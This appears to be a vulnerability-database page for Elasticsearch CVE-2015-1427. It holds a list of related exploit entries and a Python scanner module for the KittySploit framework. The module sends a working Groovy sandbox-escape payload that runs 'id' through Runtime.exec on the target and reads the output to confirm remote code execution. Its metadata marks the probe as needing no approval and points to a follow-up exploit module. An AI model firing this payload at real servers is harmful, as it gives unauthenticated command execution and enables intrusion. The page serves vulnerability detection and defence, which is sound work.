Elasticsearch - Groovy Script RCE Detection (CVE-2015-1427)
| Reporter | Title | Published | Views | Family All 153 |
|---|---|---|---|---|
| elasticsearch -- remote OS command execution via Groovy scripting engine | 11 Feb 201500:00 | – | freebsd | |
| ElasticSearch Unauthenticated Remote Code Execution Exploit | 12 Mar 201500:00 | – | zdt | |
| ElasticSearch Search Groovy Sandbox Bypass Exploit | 12 Mar 201500:00 | – | zdt | |
| Exploit for CVE-2015-1427 | 8 Oct 202619:58 | – | githubexploit | |
| Exploit for CVE-2015-1427 | 9 Jan 201720:08 | – | githubexploit | |
| exploits | 5 Mar 201511:15 | – | githubexploit | |
| Exploit for CVE-2015-1427 | 17 Dec 202510:07 | – | githubexploit | |
| Exploit for OS Command Injection in Gnu Bash | 27 Jul 202504:29 | – | gitee | |
| Exploit for Improper Access Control in Elasticsearch | 6 Jul 202502:42 | – | gitee | |
| Exploit for Improper Access Control in Elasticsearch | 3 Jun 202110:56 | – | gitee |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Elasticsearch Groovy scripting engine RCE (CVE-2015-1427)."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Elasticsearch - Groovy Script RCE Detection (CVE-2015-1427)',
'description': (
'Detects CVE-2015-1427 by POSTing a Groovy script_fields payload to /_search '
'that executes id via Runtime.exec.'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': [
'web', 'scanner', 'cve', 'cve2015', 'elasticsearch', 'rce', 'unauth', 'kev', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'risk_signal', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['exploits/multi/http/elasticsearch_cve_2015_1427_rce'],
},
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2015-1427',
],
'cve': 'CVE-2015-1427',
}
def run(self):
payload = (
'{"size":1, "script_fields": {"lupin":{"script": '
'"java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime()'
'.exec(\\"id\\").getText()"}}}'
)
r = self.http_request(
method='POST',
path='/_search?pretty',
data=payload,
headers={'Content-Type': 'application/json'},
allow_redirects=False,
)
if not r:
return False
if re.search(r'uid=\d+.*gid=\d+', r.text or ''):
self.set_info(
severity='critical',
reason='Elasticsearch Groovy RCE (CVE-2015-1427)',
path='/_search',
)
return True
return False
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10 Aug 2026 06:19Current
8.7High risk
Vulners AI Score8.7
CVSS 27.5
CVSS 3.19.8
EPSS0.99906
SSVC